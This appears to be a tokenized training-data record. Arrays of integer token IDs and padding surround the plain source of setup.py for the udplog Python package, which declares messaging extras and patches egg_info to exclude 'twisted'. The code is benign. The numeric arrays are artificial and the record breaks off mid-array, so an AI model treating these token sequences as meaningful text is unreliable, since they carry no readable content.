[ 2344, 272, 2863, 1323, 28994, 5673, 272, 1898, 334, 35, 9, 7760, 307, 16, 596, 16, 339, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 272, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 272, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 272, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 339, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 272, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 272, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 272, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 339, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 272, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 2344, 199, 199, 646, 16004, 199, 646, 295, 199, 646, 747, 199, 893, 26, 272, 492, 17572, 465, 5927, 199, 2590, 26, 272, 492, 5927, 199, 199, 646, 4011, 199, 646, 11709, 199, 646, 11709, 9291, 199, 646, 26418, 199, 646, 11709, 2718, 1362, 199, 533, 29366, 26, 272, 1449, 272, 961, 1021, 6571, 282, 13918, 402, 1233, 626, 365, 1202, 9371, 5002, 1323, 28994, 21293, 272, 315, 314, 3661, 626, 652, 911, 15037, 2005, 402, 314, 2863, 6527, 376, 13553, 4839, 272, 370, 5147, 14, 2286, 17536, 590, 642, 365, 22175, 1354, 701, 13070, 282, 4975, 6818, 28829, 1202, 4184, 272, 402, 520, 1494, 1705, 21382, 3559, 520, 1494, 1705, 21382, 9291, 3559, 520, 1494, 1705, 21382, 5885, 64, 436, 520, 1494, 1705, 21382, 2718, 2313, 221, 2286, 2047, 8646, 2934, 370, 1172, 8840, 1373, 1256, 402, 642, 1021, 315, 2195, 13553, 272, 1314, 1265, 883, 1240, 687, 26523, 315, 2195, 1233, 14, 2286, 5679, 447, 2728, 492, 984, 267, 687, 307, 16, 596, 16, 14, 2330, 14, 9291, 492, 29366, 267, 13553, 275, 29366, 360, 1662, 14, 2718, 14, 344, 297, 9238, 29, 1274, 14, 3020, 9, 272, 1449, 1362, 5493, 347, 636, 826, 721, 277, 12, 13553, 63, 344, 12, 9238, 29, 403, 304, 267, 1449, 18418, 3033, 26, 288, 13553, 63, 344, 334, 495, 304, 19519, 13553, 1159, 1305, 334, 5902, 14, 283, 2718, 14, 3722, 14, 84, 16, 596, 16, 14, 396, 1959, 10631, 1804, 87, 589, 26, 288, 9238, 334, 513, 304, 3820, 402, 2368, 3032, 370, 2195, 13553, 340, 3964, 288, 334, 5902, 14, 984, 14, 3020, 680, 267, 1449, 267, 291, 14, 9291, 275, 11709, 9291, 14, 19654, 8, 344, 29, 9291, 63, 344, 9, 267, 340, 9238, 26, 288, 291, 14, 633, 275, 9238, 59, 16, 61, 288, 291, 14, 2479, 275, 1109, 8, 3020, 59, 17, 566, 288, 291, 14, 10590, 275, 291, 14, 1122, 63, 1131, 8, 3020, 59, 18, 1527, 17, 5728, 268, 339, 347, 664, 63, 2502, 8, 277, 304, 267, 1449, 3407, 314, 13553, 4132, 465, 3247, 315, 1124, 9291, 14, 1652, 4345, 2344, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 2502, 358, 1467, 339, 347, 664, 63, 23436, 8, 277, 304, 27144, 1449, 3407, 314, 13553, 1570, 793, 10595, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 23436, 358, 1467, 339, 347, 664, 63, 1802, 8, 277, 304, 267, 1449, 3407, 314, 13553, 1369, 465, 3247, 315, 1124, 9291, 14, 1652, 4345, 2344, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 1802, 358, 1467, 339, 347, 664, 63, 6409, 6400, 8, 277, 304, 27144, 1449, 3407, 314, 13553, 6450, 465, 3247, 315, 1124, 9291, 14, 1652, 4345, 2344, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 6409, 6400, 358, 1467, 339, 347, 664, 63, 24138, 8, 277, 304, 267, 1449, 3407, 314, 2615, 931, 370, 314, 13553, 19892, 10595, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 24138, 358, 1467, 339, 347, 664, 63, 4677, 8, 277, 304, 267, 1449, 3407, 314, 2615, 931, 370, 314, 13553, 7016, 10595, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 4677, 358, 1467, 339, 347, 664, 63, 344, 8, 277, 304, 267, 1449, 3407, 314, 13553, 1305, 465, 3247, 315, 1124, 9291, 14, 1652, 4345, 2344, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 344, 358, 1467, 339, 347, 664, 63, 354, 8, 277, 304, 27144, 1449, 3407, 314, 13553, 536, 465, 3247, 315, 1124, 9291, 14, 1652, 4345, 2344, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 354, 358, 1467, 339, 347, 664, 63, 515, 8, 277, 304, 267, 1449, 3407, 314, 2615, 931, 370, 314, 13553, 2082, 10595, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 515, 358, 1467, 339, 347, 664, 63, 2913, 8, 277, 304, 27144, 1449, 267, 1803, 314, 2615, 931, 370, 314, 13553, 4690, 2082, 4960, 334, 1180, 1893, 367, 16915, 1584, 4346, 701, 314, 13553, 4066, 465, 10049, 680, 267, 1449, 267, 372, 11709, 14, 5275, 2042, 8, 277, 14, 9291, 14, 362, 19654, 2354, 360, 2913, 1333, 1467, 339, 347, 664, 63, 270, 4291, 8, 277, 304, 27144, 1449, 3407, 314, 1329, 402, 410, 4291, 367, 642, 13553, 10595, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 270, 4291, 358, 1467, 339, 347, 664, 63, 4705, 8, 277, 304, 27144, 1449, 3407, 314, 13553, 6212, 465, 3247, 315, 1124, 9291, 14, 1652, 4345, 2344, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 4705, 358, 1467, 339, 347, 664, 63, 466, 8, 277, 304, 4960, 1449, 267, 1803, 314, 13553, 6212, 465, 3247, 315, 1124, 9291, 14, 1652, 1040, 4960, 334, 5902, 14, 11709, 14, 1548, 14, 2718, 1365, 680, 267, 1449, 259, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 466, 358, 1467, 339, 347, 664, 63, 1023, 8, 277, 304, 27144, 1449, 3407, 314, 13553, 1015, 465, 3247, 315, 1124, 9291, 14, 1652, 4345, 2344, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 1023, 358, 1467, 339, 347, 664, 63, 6031, 8, 277, 12, 4260, 304, 267, 1449, 267, 1803, 376, 13553, 4260, 14, 13303, 1471, 506, 3247, 315, 2195, 13553, 1159, 267, 1124 ]
[ 272, 2863, 1323, 28994, 5673, 272, 1898, 334, 35, 9, 7760, 307, 16, 596, 16, 339, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 272, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 272, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 272, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 339, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 272, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 272, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 272, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 339, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 272, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 2344, 199, 199, 646, 16004, 199, 646, 295, 199, 646, 747, 199, 893, 26, 272, 492, 17572, 465, 5927, 199, 2590, 26, 272, 492, 5927, 199, 199, 646, 4011, 199, 646, 11709, 199, 646, 11709, 9291, 199, 646, 26418, 199, 646, 11709, 2718, 1362, 199, 533, 29366, 26, 272, 1449, 272, 961, 1021, 6571, 282, 13918, 402, 1233, 626, 365, 1202, 9371, 5002, 1323, 28994, 21293, 272, 315, 314, 3661, 626, 652, 911, 15037, 2005, 402, 314, 2863, 6527, 376, 13553, 4839, 272, 370, 5147, 14, 2286, 17536, 590, 642, 365, 22175, 1354, 701, 13070, 282, 4975, 6818, 28829, 1202, 4184, 272, 402, 520, 1494, 1705, 21382, 3559, 520, 1494, 1705, 21382, 9291, 3559, 520, 1494, 1705, 21382, 5885, 64, 436, 520, 1494, 1705, 21382, 2718, 2313, 221, 2286, 2047, 8646, 2934, 370, 1172, 8840, 1373, 1256, 402, 642, 1021, 315, 2195, 13553, 272, 1314, 1265, 883, 1240, 687, 26523, 315, 2195, 1233, 14, 2286, 5679, 447, 2728, 492, 984, 267, 687, 307, 16, 596, 16, 14, 2330, 14, 9291, 492, 29366, 267, 13553, 275, 29366, 360, 1662, 14, 2718, 14, 344, 297, 9238, 29, 1274, 14, 3020, 9, 272, 1449, 1362, 5493, 347, 636, 826, 721, 277, 12, 13553, 63, 344, 12, 9238, 29, 403, 304, 267, 1449, 18418, 3033, 26, 288, 13553, 63, 344, 334, 495, 304, 19519, 13553, 1159, 1305, 334, 5902, 14, 283, 2718, 14, 3722, 14, 84, 16, 596, 16, 14, 396, 1959, 10631, 1804, 87, 589, 26, 288, 9238, 334, 513, 304, 3820, 402, 2368, 3032, 370, 2195, 13553, 340, 3964, 288, 334, 5902, 14, 984, 14, 3020, 680, 267, 1449, 267, 291, 14, 9291, 275, 11709, 9291, 14, 19654, 8, 344, 29, 9291, 63, 344, 9, 267, 340, 9238, 26, 288, 291, 14, 633, 275, 9238, 59, 16, 61, 288, 291, 14, 2479, 275, 1109, 8, 3020, 59, 17, 566, 288, 291, 14, 10590, 275, 291, 14, 1122, 63, 1131, 8, 3020, 59, 18, 1527, 17, 5728, 268, 339, 347, 664, 63, 2502, 8, 277, 304, 267, 1449, 3407, 314, 13553, 4132, 465, 3247, 315, 1124, 9291, 14, 1652, 4345, 2344, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 2502, 358, 1467, 339, 347, 664, 63, 23436, 8, 277, 304, 27144, 1449, 3407, 314, 13553, 1570, 793, 10595, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 23436, 358, 1467, 339, 347, 664, 63, 1802, 8, 277, 304, 267, 1449, 3407, 314, 13553, 1369, 465, 3247, 315, 1124, 9291, 14, 1652, 4345, 2344, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 1802, 358, 1467, 339, 347, 664, 63, 6409, 6400, 8, 277, 304, 27144, 1449, 3407, 314, 13553, 6450, 465, 3247, 315, 1124, 9291, 14, 1652, 4345, 2344, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 6409, 6400, 358, 1467, 339, 347, 664, 63, 24138, 8, 277, 304, 267, 1449, 3407, 314, 2615, 931, 370, 314, 13553, 19892, 10595, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 24138, 358, 1467, 339, 347, 664, 63, 4677, 8, 277, 304, 267, 1449, 3407, 314, 2615, 931, 370, 314, 13553, 7016, 10595, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 4677, 358, 1467, 339, 347, 664, 63, 344, 8, 277, 304, 267, 1449, 3407, 314, 13553, 1305, 465, 3247, 315, 1124, 9291, 14, 1652, 4345, 2344, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 344, 358, 1467, 339, 347, 664, 63, 354, 8, 277, 304, 27144, 1449, 3407, 314, 13553, 536, 465, 3247, 315, 1124, 9291, 14, 1652, 4345, 2344, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 354, 358, 1467, 339, 347, 664, 63, 515, 8, 277, 304, 267, 1449, 3407, 314, 2615, 931, 370, 314, 13553, 2082, 10595, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 515, 358, 1467, 339, 347, 664, 63, 2913, 8, 277, 304, 27144, 1449, 267, 1803, 314, 2615, 931, 370, 314, 13553, 4690, 2082, 4960, 334, 1180, 1893, 367, 16915, 1584, 4346, 701, 314, 13553, 4066, 465, 10049, 680, 267, 1449, 267, 372, 11709, 14, 5275, 2042, 8, 277, 14, 9291, 14, 362, 19654, 2354, 360, 2913, 1333, 1467, 339, 347, 664, 63, 270, 4291, 8, 277, 304, 27144, 1449, 3407, 314, 1329, 402, 410, 4291, 367, 642, 13553, 10595, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 270, 4291, 358, 1467, 339, 347, 664, 63, 4705, 8, 277, 304, 27144, 1449, 3407, 314, 13553, 6212, 465, 3247, 315, 1124, 9291, 14, 1652, 4345, 2344, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 4705, 358, 1467, 339, 347, 664, 63, 466, 8, 277, 304, 4960, 1449, 267, 1803, 314, 13553, 6212, 465, 3247, 315, 1124, 9291, 14, 1652, 1040, 4960, 334, 5902, 14, 11709, 14, 1548, 14, 2718, 1365, 680, 267, 1449, 259, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 466, 358, 1467, 339, 347, 664, 63, 1023, 8, 277, 304, 27144, 1449, 3407, 314, 13553, 1015, 465, 3247, 315, 1124, 9291, 14, 1652, 4345, 2344, 267, 372, 291, 14, 9291, 14, 362, 19654, 2354, 360, 1023, 358, 1467, 339, 347, 664, 63, 6031, 8, 277, 12, 4260, 304, 267, 1449, 267, 1803, 376, 13553, 4260, 14, 13303, 1471, 506, 3247, 315, 2195, 13553, 1159, 267, 1124, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
mochi/udplog
setup.py
2
2318
import os from setuptools import setup EXTRAS = { 'rabbitmq': [ 'txAMQP' ], 'redis': [ 'txredis', ], 'scribe': [ 'thrift', 'scribe', ], 'kafka': [ 'kafka-python', ], 'dev': [ 'coverage', 'pyflakes', 'Sphinx', ] } EXTRAS['all'] = ( EXTRAS['rabbitmq'] + EXTRAS['redis'] + EXTRAS['scribe'] + EXTRAS['kafka'] ) # Make sure 'twisted' doesn't appear in top_level.txt try: from setuptools.command import egg_info egg_info.write_toplevel_names except (ImportError, AttributeError): pass else: def _top_level_package(name): return name.split('.', 1)[0] def _hacked_write_toplevel_names(cmd, basename, filename): pkgs = dict.fromkeys( [_top_level_package(k) for k in cmd.distribution.iter_distribution_names() if _top_level_package(k) != "twisted" ] ) cmd.write_file("top-level names", filename, '\n'.join(pkgs) + '\n') egg_info.write_toplevel_names = _hacked_write_toplevel_names # Utility function to read the README file. def read(fname): return open(os.path.join(os.path.dirname(__file__), fname)).read() setup( name="udplog", version="0.2.0", author="Mochi Media", author_email="dev@mochimedia.com", maintainer="Ralph Meijer", maintainer_email="ralphm@ik.nu", description=("UDPLog is a system for emitting application log events" " via UDP and shipping them via RabbitMQ or Scribe for " "further processing."), license="MIT", keywords="logging twisted udp scribe rabbitmq redis kafka", url="https://github.com/mochi/udplog", packages=[ 'udplog', 'udplog.test', 'twisted.plugins', ], package_data={ 'twisted.plugins': ['twisted/plugins/server.py'], 'udplog': ['amqp0-9-1.extended.xml'], }, zip_safe=False, long_description=read('README.rst'), classifiers=[ "Development Status :: 6 - Production/Stable", "Topic :: Utilities", "License :: OSI Approved :: MIT License", ], install_requires=[ 'simplejson', 'Twisted >= 13.0.0', 'python-dateutil', ], extras_require=EXTRAS, )
mit
[ 646, 747, 199, 504, 9116, 492, 3272, 199, 199, 1438, 1766, 1179, 275, 469, 272, 283, 14411, 29490, 356, 359, 267, 283, 2347, 1156, 31208, 7, 272, 2156, 272, 283, 15369, 356, 359, 267, 283, 2347, 15369, 297, 272, 2156, 272, 283, 5355, 356, 359, 267, 283, 8430, 297, 267, 283, 5355, 297, 272, 2156, 272, 283, 26186, 356, 359, 267, 283, 26186, 13, 1548, 297, 272, 2156, 272, 283, 2374, 356, 359, 267, 283, 10828, 297, 267, 283, 647, 29677, 297, 267, 283, 51, 7807, 297, 272, 1622, 199, 93, 199, 199, 1438, 1766, 1179, 459, 452, 418, 275, 334, 272, 3651, 1766, 1179, 459, 14411, 29490, 418, 435, 272, 3651, 1766, 1179, 459, 15369, 418, 435, 272, 3651, 1766, 1179, 459, 5355, 418, 435, 272, 3651, 1766, 1179, 459, 26186, 418, 199, 9, 421, 199, 3, 4155, 3238, 283, 12145, 7, 3181, 1133, 7468, 315, 2746, 63, 1896, 14, 2424, 199, 199, 893, 26, 272, 687, 9116, 14, 1531, 492, 11393, 63, 815, 272, 11393, 63, 815, 14, 952, 63, 13517, 63, 1247, 199, 2590, 334, 17825, 12, 4281, 304, 272, 986, 199, 2836, 26, 272, 347, 485, 2119, 63, 1896, 63, 2491, 8, 354, 304, 267, 372, 536, 14, 1294, 14078, 413, 2788, 16, 61, 339, 347, 485, 20875, 379, 63, 952, 63, 13517, 63, 1247, 8, 1760, 12, 9593, 12, 1788, 304, 267, 24162, 275, 1211, 14, 19164, 8, 288, 15500, 2119, 63, 1896, 63, 2491, 8, 75, 9, 355, 367, 1022, 315, 2088, 14, 4972, 14, 1661, 63, 4972, 63, 1247, 342, 355, 340, 485, 2119, 63, 1896, 63, 2491, 8, 75, 9, 1137, 298, 12145, 2, 288, 1622, 267, 776, 267, 2088, 14, 952, 63, 493, 480, 2119, 13, 1896, 1561, 401, 1788, 12, 1557, 78, 1370, 904, 8, 16624, 9, 435, 1557, 78, 358, 339, 11393, 63, 815, 14, 952, 63, 13517, 63, 1247, 275, 485, 20875, 379, 63, 952, 63, 13517, 63, 1247, 199, 199, 3, 20511, 805, 370, 1586, 314, 27781, 570, 14, 199, 318, 1586, 8, 5252, 304, 272, 372, 1551, 8, 736, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 6748, 4992, 739, 342, 421, 199, 2758, 8, 272, 536, 628, 15036, 793, 401, 272, 1015, 628, 16, 14, 18, 14, 16, 401, 272, 4132, 628, 3716, 13175, 12300, 401, 272, 4132, 63, 2123, 628, 2374, 32, 573, 335, 1036, 2391, 14, 957, 401, 272, 11075, 281, 628, 50, 10305, 3194, 7879, 281, 401, 272, 11075, 281, 63, 2123, 628, 82, 10305, 77, 32, 3258, 14, 4850, 401, 272, 1369, 15387, 17457, 2445, 365, 282, 2656, 367, 8689, 1337, 4223, 943, 4474, 2, 326, 298, 4799, 21802, 436, 27490, 3062, 4799, 820, 371, 2075, 14449, 503, 428, 1408, 1235, 367, 298, 326, 298, 70, 8754, 6661, 7651, 272, 4190, 628, 13965, 401, 272, 7681, 628, 4806, 7390, 18419, 308, 1408, 1235, 29773, 29490, 16967, 29576, 401, 272, 1166, 628, 2859, 921, 5031, 14, 957, 15, 573, 13175, 15, 15036, 793, 401, 272, 6117, 1524, 267, 283, 15036, 793, 297, 267, 283, 15036, 793, 14, 396, 297, 267, 283, 12145, 14, 5265, 297, 272, 2156, 272, 2559, 63, 576, 3126, 267, 283, 12145, 14, 5265, 356, 788, 12145, 15, 5265, 15, 1000, 14, 647, 995, 267, 283, 15036, 793, 356, 788, 455, 15202, 16, 13, 25, 13, 17, 14, 10525, 14, 1652, 995, 272, 1660, 272, 3482, 63, 3489, 29, 797, 12, 272, 1846, 63, 1802, 29, 739, 360, 18195, 14, 8332, 659, 272, 19137, 1524, 267, 298, 23753, 9795, 3800, 1227, 446, 24114, 15, 933, 461, 401, 267, 298, 12157, 3800, 738, 17933, 401, 267, 298, 3761, 3800, 25718, 26330, 3800, 10697, 844, 401, 272, 2156, 272, 3907, 63, 6537, 1524, 267, 283, 4129, 1001, 297, 267, 283, 52, 5221, 2356, 4944, 14, 16, 14, 16, 297, 267, 283, 1548, 13, 602, 1974, 297, 272, 2156, 272, 13751, 63, 4365, 29, 1438, 1766, 1179, 12, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 747, 199, 504, 9116, 492, 3272, 199, 199, 1438, 1766, 1179, 275, 469, 272, 283, 14411, 29490, 356, 359, 267, 283, 2347, 1156, 31208, 7, 272, 2156, 272, 283, 15369, 356, 359, 267, 283, 2347, 15369, 297, 272, 2156, 272, 283, 5355, 356, 359, 267, 283, 8430, 297, 267, 283, 5355, 297, 272, 2156, 272, 283, 26186, 356, 359, 267, 283, 26186, 13, 1548, 297, 272, 2156, 272, 283, 2374, 356, 359, 267, 283, 10828, 297, 267, 283, 647, 29677, 297, 267, 283, 51, 7807, 297, 272, 1622, 199, 93, 199, 199, 1438, 1766, 1179, 459, 452, 418, 275, 334, 272, 3651, 1766, 1179, 459, 14411, 29490, 418, 435, 272, 3651, 1766, 1179, 459, 15369, 418, 435, 272, 3651, 1766, 1179, 459, 5355, 418, 435, 272, 3651, 1766, 1179, 459, 26186, 418, 199, 9, 421, 199, 3, 4155, 3238, 283, 12145, 7, 3181, 1133, 7468, 315, 2746, 63, 1896, 14, 2424, 199, 199, 893, 26, 272, 687, 9116, 14, 1531, 492, 11393, 63, 815, 272, 11393, 63, 815, 14, 952, 63, 13517, 63, 1247, 199, 2590, 334, 17825, 12, 4281, 304, 272, 986, 199, 2836, 26, 272, 347, 485, 2119, 63, 1896, 63, 2491, 8, 354, 304, 267, 372, 536, 14, 1294, 14078, 413, 2788, 16, 61, 339, 347, 485, 20875, 379, 63, 952, 63, 13517, 63, 1247, 8, 1760, 12, 9593, 12, 1788, 304, 267, 24162, 275, 1211, 14, 19164, 8, 288, 15500, 2119, 63, 1896, 63, 2491, 8, 75, 9, 355, 367, 1022, 315, 2088, 14, 4972, 14, 1661, 63, 4972, 63, 1247, 342, 355, 340, 485, 2119, 63, 1896, 63, 2491, 8, 75, 9, 1137, 298, 12145, 2, 288, 1622, 267, 776, 267, 2088, 14, 952, 63, 493, 480, 2119, 13, 1896, 1561, 401, 1788, 12, 1557, 78, 1370, 904, 8, 16624, 9, 435, 1557, 78, 358, 339, 11393, 63, 815, 14, 952, 63, 13517, 63, 1247, 275, 485, 20875, 379, 63, 952, 63, 13517, 63, 1247, 199, 199, 3, 20511, 805, 370, 1586, 314, 27781, 570, 14, 199, 318, 1586, 8, 5252, 304, 272, 372, 1551, 8, 736, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 6748, 4992, 739, 342, 421, 199, 2758, 8, 272, 536, 628, 15036, 793, 401, 272, 1015, 628, 16, 14, 18, 14, 16, 401, 272, 4132, 628, 3716, 13175, 12300, 401, 272, 4132, 63, 2123, 628, 2374, 32, 573, 335, 1036, 2391, 14, 957, 401, 272, 11075, 281, 628, 50, 10305, 3194, 7879, 281, 401, 272, 11075, 281, 63, 2123, 628, 82, 10305, 77, 32, 3258, 14, 4850, 401, 272, 1369, 15387, 17457, 2445, 365, 282, 2656, 367, 8689, 1337, 4223, 943, 4474, 2, 326, 298, 4799, 21802, 436, 27490, 3062, 4799, 820, 371, 2075, 14449, 503, 428, 1408, 1235, 367, 298, 326, 298, 70, 8754, 6661, 7651, 272, 4190, 628, 13965, 401, 272, 7681, 628, 4806, 7390, 18419, 308, 1408, 1235, 29773, 29490, 16967, 29576, 401, 272, 1166, 628, 2859, 921, 5031, 14, 957, 15, 573, 13175, 15, 15036, 793, 401, 272, 6117, 1524, 267, 283, 15036, 793, 297, 267, 283, 15036, 793, 14, 396, 297, 267, 283, 12145, 14, 5265, 297, 272, 2156, 272, 2559, 63, 576, 3126, 267, 283, 12145, 14, 5265, 356, 788, 12145, 15, 5265, 15, 1000, 14, 647, 995, 267, 283, 15036, 793, 356, 788, 455, 15202, 16, 13, 25, 13, 17, 14, 10525, 14, 1652, 995, 272, 1660, 272, 3482, 63, 3489, 29, 797, 12, 272, 1846, 63, 1802, 29, 739, 360, 18195, 14, 8332, 659, 272, 19137, 1524, 267, 298, 23753, 9795, 3800, 1227, 446, 24114, 15, 933, 461, 401, 267, 298, 12157, 3800, 738, 17933, 401, 267, 298, 3761, 3800, 25718, 26330, 3800, 10697, 844, 401, 272, 2156, 272, 3907, 63, 6537, 1524, 267, 283, 4129, 1001, 297, 267, 283, 52, 5221, 2356, 4944, 14, 16, 14, 16, 297, 267, 283, 1548, 13, 602, 1974, 297, 272, 2156, 272, 13751, 63, 4365, 29, 1438, 1766, 1179, 12, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 